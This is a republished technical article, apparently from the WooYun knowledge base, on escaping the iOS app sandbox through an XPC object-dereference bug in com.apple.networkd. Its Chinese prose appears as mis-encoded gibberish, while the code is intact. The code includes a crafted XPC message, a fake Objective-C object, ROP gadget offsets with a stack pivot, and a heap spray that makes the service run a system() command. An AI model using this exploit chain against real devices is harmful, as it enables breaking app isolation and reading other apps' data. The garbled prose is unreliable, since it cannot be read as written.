Äú¿ÉÒÔ¾èÖú£¬Ö§³ÖÎÒÃǵĹ«ÒæÊÂÒµ¡£

1Ôª 10Ôª 50Ôª





ÈÏÖ¤Â룺  ÑéÖ¤Âë,¿´²»Çå³þ?Çëµã»÷Ë¢ÐÂÑéÖ¤Âë ±ØÌî



  ÇóÖª ÎÄÕ ÎÄ¿â Lib ÊÓÆµ iPerson ¿Î³Ì ÈÏÖ¤ ×Éѯ ¹¤¾ß ½²×ù Modeler   Code  
»áÔ±   
 
   
 
 
     
   
 ¶©ÔÄ
  ¾èÖú
iOS±ùÓë»ðÖ®¸è¨CÀûÓÃXPC¹ýsandbox
 
×÷ÕߣºÕôÃ× À´Ô´£ºWooYun֪ʶ¿â ·¢²¼ÓÚ£º 2016-8-5
  3001  次浏览      29
 

0x00 Ðò

±ùÖ¸µÄÊÇÓû§Ì¬£¬»ðÖ¸µÄÊÇÄÚºË̬¡£ÈçºÎÍ»ÆÆÏñ±ùÏäÒ»ÑùµÄÓû§Ì¬É³ºÐ×îÖÕµ½´ï²¢¿ØÖÆÈç»ðÑæÒ»°ãȼÉÕµÄÄں˾ÍÊÇ¡¶iOS±ùÓë»ðÖ®¸è¡·ÕâһϵÁÐÎÄÕ½«Òª½²ÊöµÄÄÚÈÝ¡£Õâ´Î¸ø´ó¼Ò´øÀ´µÄÊÇÀûÓÃXPCÍ»ÆÆappɳºÐ£¬²¢¿ØÖÆÆäËû½ø³ÌµÄpc£¨program counter£©Ö´ÐÐsystemÖ¸Áî¡£

¡¶iOS±ùÓë»ðÖ®¸è¡·ÏµÁеÄĿ¼ÈçÏ£º

Objective-C Pwn and iOS arm64 ROP

ÔÚ·ÇÔ½ÓüµÄiOSÉϽøÐÐApp Hook£¨·¬ÍâÆª£©

App Hook´ðÒÉÒÔ¼°iOS 9ÔÒ¿Ç£¨·¬ÍâÆª£©

ÀûÓÃXPC¹ýAppɳºÐ

0x01 ʲôÊÇXPC

ÔÚiOSÉÏÓкܶàIPC(ÄÚ²¿½ø³ÌͨѶ)µÄ·½·¨£¬×î¼òµ¥×î³£¼ûµÄIPC¾ÍÊÇURL Schemes£¬Ò²¾ÍÊÇappÖ®¼ä»¥Ïàµ÷Æð²¢ÇÒ´«Ëͼòµ¥×Ö·ûµÄÒ»ÖÖ»úÖÆ¡£±ÈÈçÎÒÓà [[UIApplication sharedApplication] openURL:url] Õâ¸öapiÔÙÅäºÏ" alipay:// ", ¡° wechat:// ¡±µÈurl£¬¾Í¿ÉÒÔµ÷ÆðÖ§¸¶±¦»òÕß΢ÐÅ¡£

½ñÌìÒª½²µÄXPC±ÈURLSchemeÒªÉÔ΢¸´ÔÓÒ»µã¡£XPCÒ²ÊÇiOS IPCµÄÒ»ÖÖ£¬Í¨¹ýXPC£¬app¿ÉÒÔÓëһЩϵͳ·þÎñ½øÐÐͨѶ£¬²¢ÇÒÕâЩϵͳ·þÎñÒ»°ã¶¼ÊÇÔÚɳºÐÍâµÄ£¬Èç¹ûÎÒÃÇ¿ÉÒÔͨ¹ýIPC¿ØÖÆÕâЩ·þÎñµÄ»°£¬Ò²¾Í³É¹¦µÄ×öµ½É³ºÐÌÓÒÝÁË¡£AppÔÚɳºÐÄÚ¿ÉÒÔͨ¹ýXPC·ÃÎʵķþÎñ´ó¸ÅÓÐÈýËÄÊ®¸ö£¬ÊýÁ¿»¹ÊǷdz£¶àµÄ¡£

ÏëÒªÓëÕâЩXPC·þÎñͨѶÎÒÃÇÐèÒª´´½¨Ò»¸öXPC client£¬´«ÊäµÄÄÚÈÝÒªÓëXPC service½ÓÊÕµÄÄÚÈݶÔÓ¦ÉÏ£¬±ÈÈçϵͳ·þÎñ¿ÉÄܻῪÕâÑùÒ»¸öXPC service£º

#!objc  
xpc_connection_t listener =
xpc_connection_create_mach_service("com.apple.xpc.example",
NULL, XPC_CONNECTION_MACH_SERVICE_LISTENER);
xpc_connection_set_event_handler(listener, ^(xpc_object_t peer) {
// Connection dispatch
xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
// Message dispatch
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY){
//Message handler
}
});
xpc_connection_resume(peer);
});
xpc_connection_resume(listener);

Èç¹ûÎÒÃÇ¿ÉÒÔÔÚɳºÐÄÚ½øÐзÃÎʵϰ£¬ÎÒÃÇ¿ÉÒÔͨ¹ý½¨Á¢XPCµÄ¿Í»§¶Ë½øÐÐÁ¬½Ó£º

#!objc  
xpc_connection_t client = xpc_connection_create_mach_service
("com.apple.xpc.example",
NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_uint64 (message, "value", 0);
xpc_object_t reply
= xpc_connection_send_message_with_reply_sync(client, message);

ÔËÐÐÉÏÊö³ÌÐòºó£¬ÔÚserver¶ËÄDZ߾ͿÉÒÔÊÕµ½client¶ËµÄÏûÏ¢ÁË¡£

ÎÒÃÇÖªµÀ£¬xpc´«ÊäµÄÆäʵ¾ÍÊÇÒ»¶Î¶þ½øÖÆÊý¾Ý¡£±ÈÈçÎÒÃÇ´«ÊäµÄxpc_dictionaryÊÇÕâÑùµÄ£º

ʵ¼Ê´«ÊäµÄÊý¾ÝÈ·ÊÇÕâÑùµÄ£¨Í¨¹ýlldb£¬È»ºó

break set --name _xpc_serializer_get_dispatch_mach_msg

¾Í¿ÉÒÔ¿´µ½£©£º

¿ÉÒÔ¿´µ½ÕâЩ´«ÊäµÄÊý¾Ý¶¼¾­¹ýÐòÁл¯×ª»»³É¶þ½øÖÆdata£¬È»ºóµÈdata´«µÝµ½ÏµÍ³serviceµÄ·þÎñ¶ËÒÔºó£¬ÔÙͨ¹ý·´ÐòÁл¯º¯Êý»¹Ô­»ØÔ­Ê¼µÄÊý¾Ý¡£

ÎÒÃÇÖªµÀÕý³£°²×°ºóµÄappÊÇmobileȨÏÞ£¬µ«ÊDZ»sandboxÏÞÖÆÔÚÁËÒ»¸öÏÁСµÄ¿Õ¼äÀï¡£Èç¹ûϵͳ·þÎñÔÚ½ÓÊÕXPCÏûÏ¢µÄʱºò³öÏÖÁËÎÊÌ⣬±ÈÈçObject Dereference©¶´µÈ£¬¾Í¿ÉÄÜÈÃclient¶Ë¿ØÖÆserver¶ËµÄpc¼Ä´æÆ÷£¬´Ó¶øÀûÓÃropÖ´ÐÐÈÎÒâÖ¸Áî¡£ËäÈ»´ó¶àÊýϵͳ·þÎñÒ²ÊÇmobileȨÏÞ£¬µ«ÊÇ´ó¶àÊýϵͳ·þÎñ²¢Ã»Óб»sandbox£¬Òò´Ë¾Í¿ÉÒÔÓµÓжÁÈ¡»òÐ޸Ĵó¶àÊýÎļþµÄȨÏÞ»òÕßÊÇÖ´ÐÐһЩÄܹ»·ÃÎÊkernelµÄapi´Ó¶ø´¥·¢panic¡£

0x02 Com.apple.networkd Object Dereference©¶´·ÖÎö

Com.apple.networkd ÊÇÒ»¸öappɳºÐÄÚ¿É´ïµÄxpcϵͳ·þÎñ¡£Õâ¸ö·þÎñ¶ÔÓ¦µÄbinaryÊÇ/usr/libexec/networkd¡£ÎÒÃÇ¿ÉÒÔͨ¹ýps¿´µ½Õâ¸ö·þÎñµÄȨÏÞÊÇ_networkd£º

ËäȻûÓÐrootȨÏÞ£¬µ«ÊÇÒ²¼¸ºõ¿ÉÒÔ×öµ½É³ºÐÍâÈÎÒâÎļþ¶ÁдÁË¡£ÔÚiOS 8.1.3¼°Ö®Ç°°æ±¾£¬Õâ¸öXPCϵͳ·þÎñ´æÔÚObject Dereference©¶´£¬Õâ¸ö©¶´ÊÇÓÉGoogle Project ZeroµÄIanBeer·¢Ïֵ쬵«Ëû¸øµÄpocÖ»ÊÇMac OS XÉϵ쬲¢ÇÒhardcodeÁËºÜ¶àµØÖ·¡£¶ø±¾ÆªÎÄÕ½«ÒÔiphone 4s, arm32, 7.1.1Ϊ²âÊÔ»ú£¬Ò»²½Ò»²½½²½âÈçºÎÕÒµ½ÕâЩhardcodeµÄµØÖ·ºÍgadgets£¬²¢ÀûÓÃÕâ¸ö©¶´×öµ½appµÄɳºÐÌÓÒÝ¡£

ÎÊÌâ³öÔÚcom.apple.networkdÕâ¸ö·þÎñµÄ char *__fastcall sub_A878(int a1) Õâ¸öº¯ÊýÖУ¬¶Ô´«ÈëµÄ¡± effective_audit_token ¡±Õâ¸öֵûÓÐ×öÀàÐÍУÑ飬¾ÍÖ±½Óµ±³Éxpc_dataÕâÖÖÊý¾ÝÀàÐͽøÐнâÎöÁË£º

È»¶øÈç¹ûÎÒÃÇ´«¹ýÈ¥µÄÖµ²¢²»ÊÇÒ»¸öxpc_data£¬networkdÒ²»áµ±Õâ¸öÖµÊÇÒ»¸öxpc_data£¬²¢´«¸ø _xpc_data_get_bytes_ptr() À´½øÐнâÎö£º

½âÎöÍê³Éºó£¬ÎÞÂÛÕâ¸ö¶ÔÏóÊÇ·ñ·ûºÏservice³ÌÐòµÄÔ¤ÆÚ£¬³ÌÐò¶¼»áµ÷Óà _dispatch_objc_release() Õâ¸öº¯ÊýÀ´releaseÕâ¸ö¶ÔÏó¡£Òò´Ë£¬ÎÒÃǾÍÏëµ½ÁËÊÇ·ñ¿ÉÒÔαÔìÒ»¸öobjective-CµÄ¶ÔÏó£¬Í¬Ê±½«Õâ¸ö¶ÔÏóµÄrelease()º¯Êý¸ø¼ÓÈëµ½cacheÀÕâÑùµÄ»°£¬ÔÚ³ÌÐòreleaseÕâ¸ö¶ÔÏóµÄʱºò£¬¾Í¿ÉÒÔ¿ØÖÆpcÖ¸ÕëÖ¸ÏòÎÒÃÇÏëÒªÖ´ÐеÄROPÖ¸ÁîÁË¡£

Êǵģ¬Õâ¸öÏë·¨ÊÇ¿ÉÐеġ£Ê×ÏÈÎÒÃÇÒª×öµÄÊǸù¾ÝÊý¾Ý´«ÊäµÄЭÒ飨ͨ¹ý·´±àÒënetworkdµÃµ½£©¹¹ÔìÏàÓ¦µÄxpcÊý¾Ý£º

#!objc  
xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);

xpc_dictionary_set_uint64(dict, "type", 6);
xpc_dictionary_set_uint64(dict, "connection_id", 1);

xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0);
xpc_object_t conn_list = xpc_array_create(NULL, 0);

xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(arr_dict, "hostname", "example.com");

xpc_array_append_value(conn_list, arr_dict);
xpc_dictionary_set_value(params, "connection_entry_list", conn_list);

uint32_t uuid[] = {0x0, 0x1fec000};
xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid);

xpc_dictionary_set_uint64(params, "start", 0);
xpc_dictionary_set_uint64(params, "duration", 0);

xpc_dictionary_set_value(dict, "parameters", params);

xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_int64(state, "power_slot", 0);
xpc_dictionary_set_value(dict, "state", state);

ËæºóÎÒÃÇ¿ÉÒÔʹÓà NSLog(@"%@",dict); ½«ÎÒÃǹ¹ÔìºÃÒÔºóµÄxpcÊý¾Ý´òÓ¡³öÀ´£º

³ýÁËeffective_audit_tokenÒÔÍâµÄÆäËûÊý¾Ý¶¼ÊÇÕý³£µÄ¡£ÎªÁ˹¥»÷Õâ¸öϵͳ·þÎñ£¬ÎÒÃÇ°Ñ effective_audit_token µÄÖµÓà xpc_dictionary_set_uuid ÉèÖÃΪ {0x0, 0x1fec000}; ¡£0x1fec000Õâ¸öµØÖ·±£´æµÄ½«»áÊÇÎÒÃÇαÔìµÄObjective-C¶ÔÏó¡£¹¹ÔìÍêxpcÊý¾Ýºó£¬ÎÒÃǾͿÉÒÔ½«Êý¾Ý·¢Ë͵½networkd·þÎñ¶Ë´¥·¢Â©¶´ÁË¡£µ«ÈçºÎ¹¹ÔìÒ»¸öαÔìµÄObjectC¶ÔÏó£¬ÒÔ¼°ÈçºÎ½«Î±ÔìµÄ¶ÔÏó±£´æµ½Õâ¸öµØÖ·ÄØ£¿Çë¼ÌÐø¿´ÏÂÒ»Õ¡£

0x03 ¹¹Ôìfake Objective-C¶ÔÏóÒÔ¼°Stack Pivot

Ê×ÏÈÎÒÃÇÐèҪͨ¹ýαÔìÒ»¸öfake Objective-C¶ÔÏóºÍ¹¹ÔìÒ»¸ö¼ÙµÄcacheÀ´¿ØÖÆpcÖ¸Õë¡£Õâ¸ö¼¼ÊõÎÒÃÇÒѾ­ÔÚ¡¶iOS±ùÓë»ðÖ®¸è ¨C Objective-C Pwn and iOS arm64 ROP¡·ÖнéÉÜÁË¡£¼òµ¥ËµÒ»ÏÂ˼·£º

µÚÒ»²½£¬ÎÒÃÇÐèÒªÕÒµ½selectorÔÚÄÚ´æÖеĵØÖ·£¬Õâ¸öÎÊÌâ¿ÉÒÔʹÓà NSSelectorFromString() Õâ¸öϵͳ×Ô´øµÄAPIÀ´½â¾ö£¬±ÈÈçÎÒÃÇÐèÒªÓõ½¡±release¡±Õâ¸öselectorµÄµØÖ·£¬¾Í¿ÉÒÔʹÓà NSSelectorFromString(@"release") À´»ñÈ¡¡£

µÚ¶þ²½£¬ÎÒÃÇÒª¹¹½¨Ò»¸ö¼ÙµÄreceiver£¬¼ÙµÄreceiverÀïÓÐÒ»¸öÖ¸Ïò¼ÙµÄobjc_classµÄÖ¸Õ룬¼ÙµÄobjc_classÀïÓÖ±£´æÁ˼ٵÄcache_bucketsµÄÖ¸ÕëºÍmask¡£¼ÙµÄcache_bucketsµÄÖ¸Õë×îÖÕÖ¸ÏòÎÒÃǽ«ÒªÎ±ÔìµÄselectorºÍselectorº¯ÊýµÄµØÖ·¡£Õâ¸öαÔìµÄº¯ÊýµØÖ·¾ÍÊÇÎÒÃÇÒªÖ´ÐеÄROPÁ´µÄÆðʼµØÖ·¡£

×îÖÕ´úÂëÈçÏ£º

#!objc  
hs->fake_objc_class_ptr = &hs->fake_objc_class;
hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket;
hs->fake_objc_class.cache_bucket_mask = 0;
hs->fake_cache_bucket.cached_sel = (void*) NSSelectorFromString(@"release");
hs->fake_cache_bucket.cached_function = start address of ROP chain

¼ÈȻͨ¹ýfake Objective-C¶ÔÏó£¬ÎÒÃÇ¿ØÖÆÁËxpc serviceµÄpc£¬ÎÒÃǾͿÉÒÔÔÚsandboxÍâ×öЩÊÂÇéÁË¡£µ«ÒòΪDEPµÄ¹ØÏµ£¬Èç¹ûÎÒÃÇûÓиøkernel´òpatch£¬ÎÒÃDz¢²»ÄÜÖ´ÐÐÈÎÒâµÄshellcode¡£Òò´ËÎÒÃÇÐèÒªÓÃROPÀ´´ïµ½ÎÒÃǵÄÄ¿µÄ¡£ËäÈ»program image£¬library£¬¶ÑºÍÕ»µÈ¶¼ÊÇËæ»ú£¬µ«ºÃÏûÏ¢ÊÇ dyld_shared_cache Õâ¸ö¹²Ïí»º´æµÄµØÖ·¿ª»úºóÊǹ̶¨µÄ£¬²¢ÇÒÿ¸ö½ø³ÌµÄ dyld_shared_cache ¶¼ÊÇÏàͬµÄ¡£Õâ¸ö dyld_shared_cache Óкü¸°ÙM´ó£¬»ù±¾ÉÏ¿ÉÒÔÂú×ãÎÒÃǶÔgadgetsµÄÐèÇó¡£Òò´ËÎÒÃÇÖ»ÒªÔÚ×Ô¼ºµÄ½ø³Ì»ñÈ¡ dyld_shared_cache µÄ»ùÖ·¾ÍÄܹ»¼ÆËã³öÄ¿±ê½ø³ÌgadgetsµÄλÖá£

dyld_shared_cache ÎļþÒ»°ã±£´æÔÚ/System/Library/Caches/com.apple.dyld/Õâ¸öĿ¼Ï¡£ÎÒÃÇÏÂÔØÏÂÀ´ÒԺ󣬿ÉÒÔʹÓÃjtool½«ÀïÃæµÄdylibÌáÈ¡³öÀ´¡£±ÈÈçÎÒÃÇÏëÒªÌáÈ¡CoreFoundationÕâ¸öframework£¬¾Í¿ÉÒÔʹÓãº

jtool -extract CoreFoundation ./dyld_shared_cache_armv7

Ëæºó¾Í¿ÉÒÔÓÃROPgadgetÕâ¸ö¹¤¾ßÀ´ËÑË÷gadgetÁË¡£Èç¹ûÊÇarm32λµÄ»°£¬¼ÇµÃ¼ÓÉÏthumbģʽ£¬²»È»Ä¬ÈÏÊǰ´ÕÕarmģʽËÑË÷µÄ£¬gadget»áÉٺࣺܶ

ROPgadget --binary ./dyld_shared_cache_armv7.CoreFoundation --rawArch=arm --rawMode=thumb

½ÓÏÂÀ´ÎÒÃÇÐèÒªÕÒµ½Ò»¸öÓÃÀ´×östack pivotµÄgadget£¬ÒòΪÎÒÃǸտªÊ¼Ö»¿ØÖÆÁËÓÐÏ޵ö¼Ä´æÆ÷£¬²¢ÇÒÕ»Ö¸ÕëÖ¸ÏòµÄµØÖ·Ò²²»ÊÇÎÒÃÇ¿ÉÒÔ¿ØÖƵģ¬Èç¹ûÎÒÃÇÏë¿ØÖÆ¸ü¶àµÄ¼Ä´æÆ÷²¢ÇÒ³ÖÐø¿ØÖÆpcµÄ»°£¬¾ÍÐèҪʹÓÃstack pivot gadget½«Õ»Ö¸ÕëÖ¸ÏòÒ»¶ÎÎÒÃÇ¿ÉÒÔ¿ØÖƵÄÄÚ´æµØÖ·£¬È»ºóÀûÓÃpopÖ¸ÁîÀ´¿ØÖƸü¶àµÄ¼Ä´æÆ÷ÒÔ¼°PC¡£ÁíÒ»µãҪעÒâµÄÊÇ£¬Èç¹ûÎÒÃÇÏëʹÓÃthumbÖ¸Á¾ÍÐèÒª¸øÌø×ªµØÖ·1£¬ÒòΪarm CPUÊÇͨ¹ý×îµÍλÀ´ÅжÏÊÇthumbÖ¸ÁÊÇarmÖ¸ÁîµÄ¡£ÎÒÃÇÔÚiphone4s 7.1.2ÉÏÕÒµ½µÄstack pivot gadgetsÈçÏ£º

#!objc  
/*
__text:2D3B7F78 MOV SP, R4
__text:2D3B7F7A POP.W {R8,R10}
__text:2D3B7F7E POP {R4-R7,PC}
*/

hs->stack_pivot= CoreFoundation_base + 0x4f78 + 1;
NSLog(@"hs->stack_pivot = 0x%08x", (uint32_t)(CoreFoundation_base + 0x4f78));

ÒòΪ½øÐÐstack pivotÐèÒª¿ØÖÆr4¼Ä´æÆ÷£¬µ«×ʼÎÒÃÇÖ»ÄÜ¿ØÖÆr0£¬Òò´ËÎÒÃÇÏÈÕÒÒ»¸ögadget°Ñr0µÄÖµ¸³¸ør4£¬È»ºóÔÙµ÷ÓÃstack pivot gadget£º

#!objc  
/*
0x2dffc0ee: 0x4604 mov r4, r0
0x2dffc0f0: 0x6da1 ldr r1, [r4, #0x58]
0x2dffc0f2: 0xb129 cbz r1, 0x2dffc100 ; <+28>
0x2dffc0f4: 0x6ce0 ldr r0, [r4, #0x4c]
0x2dffc0f6: 0x4788 blx r1
*/
hs->fake_cache_bucket.cached_function =
CoreFoundation_base + 0x0009e0ee + 1;
//fake_struct.stack_pivot_ptr
NSLog(@"hs->fake_cache_bucket.cached_function
= 0x%08x", (uint32_t)(CoreFoundation_base+0x0009e0ee));

¾­¹ýstack pivotºó£¬ÎÒÃÇ¿ØÖÆÁËÕ»ºÍÆäËûµÄ¼Ä´æÆ÷£¬ËæºóÎÒÃǾͿÉÒÔµ÷ÓÃÏëÒªÖ´Ðеĺ¯ÊýÁË£¬±ÈÈç˵ÓÃsystemÖ¸ÁîÖ´ÐС± touch /tmp/iceandfire ¡±¡£µ±È»ÎÒÃÇÒ²ÐèÒªÕÒµ½ÏàÓ¦µÄgadget£¬²¢ÇÒÔÚÕ»É϶ÔÓ¦µÄÕýÈ·µØÖ·ÉÏ·ÅÈëÏàÓ¦¼Ä´æÆ÷µÄÖµ£º

#!objc  
// 0x00000000000d3842 : mov r0, r4 ; mov r1, r5 ; blx r6

strcpy(hs->command, "touch /tmp/ iceandfire");
hs->r4=(uint32_t)&hs->command;
hs->r6=(void *)dlsym(RTLD_DEFAULT, "system");
hs->pc = CoreFoundation_base+0xd3842+1;
NSLog(@"hs->pc = 0x%08x", (uint32_t)(CoreFoundation_base+0xd3842));

×îÖÕÎÒÃÇαÔìµÄObjective-CµÄ½á¹¹Ìå¹¹ÔìÈçÏ£º

#!objc  
struct heap_spray {
void* fake_objc_class_ptr;
uint32_t r10;
uint32_t r4;
uint32_t r5;
uint32_t r6;
uint32_t r7;
uint32_t pc;
uint8_t pad1[0x3c];
uint32_t stack_pivot;
struct fake_objc_class_t {
char pad[0x8];
void* cache_buckets_ptr;
uint32_t cache_bucket_mask;
} fake_objc_class;
struct fake_cache_bucket_t {
void* cached_sel;
void* cached_function;
} fake_cache_bucket;
char command[1024];
};

 

0x04 ¶ÑÅç(Heap Spray)

ËäÈ»ÎÒÃÇ¿ÉÒÔÀûÓÃÒ»¸öαÔìµÄObjective-C¶ÔÏóÀ´¿ØÖÆnetworkd¡£µ«ÊÇÎÒÃÇÐèÒª½«Õâ¸ö¶ÔÏó±£´æÔÚnetworkdµÄÄÚ´æ¿Õ¼äÖвÅÐУ¬²¢ÇÒÒòΪASLR£¨µØÖ·Ëæ»ú»¯£©µÄÔ­Òò£¬ÎÒÃǾÍËãÄܰÑαÔìµÄ¶ÔÏó´«Êä¹ýÈ¥£¬Ò²ºÜÄѼÆËã³öÕâ¸ö¶ÔÏóÔÚÄÚ´æÖеľßÌåλÖá£ÄÇôӦ¸ÃÔõô×öÄØ£¿·½·¨¾ÍÊǶÑÅç(Heap Spray)¡£ËäÈ»ASLRÒâζ×Åÿ´ÎÆô¶¯·þÎñ£¬program image£¬library£¬¶ÑºÍÕ»µÈ¶¼ÊÇËæ»ú¡£µ«Êµ¼ÊÉÏÕâ¸öËæ»ú²¢²»ÊÇÍêÈ«µÄËæ»ú£¬Ö»ÊÇÔÚij¸öµØÖ··¶Î§ÄÚµÄËæ»ú°ÕÁË¡£Òò´ËÎÒÃÇ¿ÉÒÔÀûÓöÑÅçÔÚÄÚ´æÖÐÅç³öÒ»²¿·Ö¿Õ¼ä(¾¡¿ÉÄܵĴó£¬ÎªÁËÄܸ²¸Çµ½Ëæ»úµØÖ·µÄ·¶Î§)£¬È»ºóÔÚÀïÃæÌî³än¸öfake Object¾Í¿ÉÒÔÁË¡£

ÎÒ½øÐЩ¶´²âÊԵĻ·¾³ÊÇ£¬iPhone4s (arm 32λ) 7.1.2£¬ÎÒÃÇÑ¡ÔñÁË0x1fec000Õâ¸öµØÖ·£¬ÒòΪ¾­¹ý¶à´Î¶ÑÅç²âÊÔ£¬Õâ¸öµØÖ·¿ÉÒÔ´ïµ½½«½ü100%µÄÅçÖÐÂÊ¡£¶ÑÅçµÄ´úÂëÈçÏ£º

#!objc  
void* heap_spray_target_addr = (void*)0x1fec000;

struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000,
3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0);
memset(hs, 0x00, 0x1000);

size_t heap_spray_pages = 0x2000;
size_t heap_spray_bytes = heap_spray_pages * 0x1000;
char* heap_spray_copies = malloc(heap_spray_bytes);

for (int i = 0; i < heap_spray_pages; i++){
memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000);
}

xpc_connection_t client = xpc_connection_create_mach_service
("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);

xpc_connection_set_event_handler(client, ^void(xpc_object_t response) {
xpc_type_t t = xpc_get_type(response);
if (t == XPC_TYPE_ERROR){
printf("err: %s\n", xpc_dictionary_get_string
(response, XPC_ERROR_KEY_DESCRIPTION));
}
printf("received an event\n");
});


xpc_connection_resume(client);

xpc_object_t dict = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_data(dict, "heap_spray", heap_spray_copies, heap_spray_bytes);
xpc_connection_send_message(client, dict);

ËæºóÎÒÃDZàÒëÖ´ÐÐÎÒÃǵÄapp£¬app»á½«fake ObjectiveC¶ÔÏóÓöÑÅçµÄ·½Ê½Ìî³äµ½networkdµÄÄÚ´æÖУ¬Ëæºóapp»á´¥·¢object dereference©¶´À´¿ØÖÆpc£¬Ëæºóapp»áÀûÓÃropÖ´ÐÐ system("touch /tmp/iceandfire") Ö¸Áî¡£ÔËÐÐÍêappºó£¬ÎÒÃÇ·¢ÏÖÔÚ/tmp/Ŀ¼ÏÂÒѾ­³öÏÖÁËiceandfireÕâ¸öÎļþÁË£¬ËµÃ÷ÎÒÃdzɹ¦Í»ÆÆÁËɳºÐ²¢Ö´ÐÐÁËsystemÖ¸Á

0x05 ×ܽá

ÕâÆªÎÄÕÂÎÒÃǽéÉÜÁËÈçºÎÀûÓÃXPCÍ»ÆÆÉ³ºÐ£¬½øÐжÑÅ磬¿ØÖÆÏµÍ³·þÎñµÄPC£¬²¢ÇÒÀûÓÃROP½øÐÐstack pivot£¬È»ºóÖ´ÐÐsystemÖ¸Áî¡£Í»ÆÆÉ³ºÐºó£¬ËäÈ»²»Äܰ²×°µÁ°æµÄapp£¬µ«Ò»¸öapp¾Í¿ÉÒÔËæÐÄËùÓûµÄÔöɾ¸Ä²éÆäËûappµÄÎļþºÍÊý¾ÝÁË£¬ÓÐÖÖandroidÉÏrootµÄ¸Ð¾õ¡£ ËäÈ»Õâ¸ö©¶´ÒѾ­ÔÚ8.1.3ÉÏÐÞ¸´ÁË£¬µ«²»´ú±íÒÔºó²»»á³öÏÖÀàËÆµÄ©¶´¡£±ÈÈçÎÒÃÇ·¢ÏÖµÄÕâ¸öiOS 9.3 0day¾Í¿ÉÒÔÇáËÉÍ»ÆÆ×îаæµÄiOSɳºÐ»ñÈ¡µ½ÆäËûappµÄÎļþ

   
3001 ´Îä¯ÀÀ       29
 
Ïà¹ØÎÄÕÂ

ÊÖ»úÈí¼þ²âÊÔÓÃÀýÉè¼ÆÊµ¼ù
ÊÖ»ú¿Í»§¶ËUI²âÊÔ·ÖÎö
iPhoneÏûÏ¢ÍÆËÍ»úÖÆÊµÏÖÓë̽ÌÖ
AndroidÊÖ»ú¿ª·¢£¨Ò»£©
 
Ïà¹ØÎĵµ

Android_UI¹Ù·½Éè¼Æ½Ì³Ì
ÊÖ»ú¿ª·¢Æ½Ì¨½éÉÜ
androidÅÄÕÕ¼°ÉÏ´«¹¦ÄÜ
Android½²ÒåÖÇÄÜÊÖ»ú¿ª·¢
Ïà¹Ø¿Î³Ì

Android¸ß¼¶Òƶ¯Ó¦ÓóÌÐò
Androidϵͳ¿ª·¢
AndroidÓ¦Óÿª·¢
ÊÖ»úÈí¼þ²âÊÔ
×îл¼Æ»®
DeepSeekÔÚÈí¼þ²âÊÔÓ¦ÓÃʵ¼ù 4-12[ÔÚÏß]
DeepSeek´óÄ£ÐÍÓ¦Óÿª·¢Êµ¼ù 4-19[ÔÚÏß]
UAF¼Ü¹¹ÌåϵÓëʵ¼ù 4-11[±±¾©]
AIÖÇÄÜ»¯Èí¼þ²âÊÔ·½·¨Óëʵ¼ù 5-23[ÉϺ£]
»ùÓÚ UML ºÍEA½øÐзÖÎöÉè¼Æ 4-26[±±¾©]
ÒµÎñ¼Ü¹¹Éè¼ÆÓ뽨ģ 4-18[±±¾©]

androidÈË»ú½çÃæÖ¸ÄÏ
AndroidÊÖ»ú¿ª·¢£¨Ò»£©
AndroidÊÖ»ú¿ª·¢£¨¶þ£©
AndroidÊÖ»ú¿ª·¢£¨Èý£©
AndroidÊÖ»ú¿ª·¢£¨ËÄ£©
iPhoneÏûÏ¢ÍÆËÍ»úÖÆÊµÏÖ̽ÌÖ
ÊÖ»úÈí¼þ²âÊÔÓÃÀýÉè¼ÆÊµ¼ù
ÊÖ»ú¿Í»§¶ËUI²âÊÔ·ÖÎö
ÊÖ»úÈí¼þ×Ô¶¯»¯²âÊÔÑо¿±¨¸æ


Android¸ß¼¶Òƶ¯Ó¦ÓóÌÐò
AndroidÓ¦Óÿª·¢
Androidϵͳ¿ª·¢
ÊÖ»úÈí¼þ²âÊÔ
ǶÈëʽÈí¼þ²âÊÔ
AndroidÈí¡¢Ó²¡¢ÔÆÕûºÏ


ÁìÏÈIT¹«Ë¾ android¿ª·¢Æ½Ì¨×î¼Ñʵ¼ù
±±¾© Android¿ª·¢¼¼Êõ½ø½×
ijÐÂÄÜÔ´ÁìÓòÆóÒµ Android¿ª·¢¼¼Êõ
ijº½Ì칫˾ Android¡¢IOSÓ¦ÓÃÈí¼þ¿ª·¢
°¢¶û¿¨ÌØ LinuxÄÚºËÇý¶¯
°¬Ä¬Éú ǶÈëʽÈí¼þ¼Ü¹¹Éè¼Æ
Î÷ÃÅ×Ó Ç¶Èëʽ¼Ü¹¹Éè¼Æ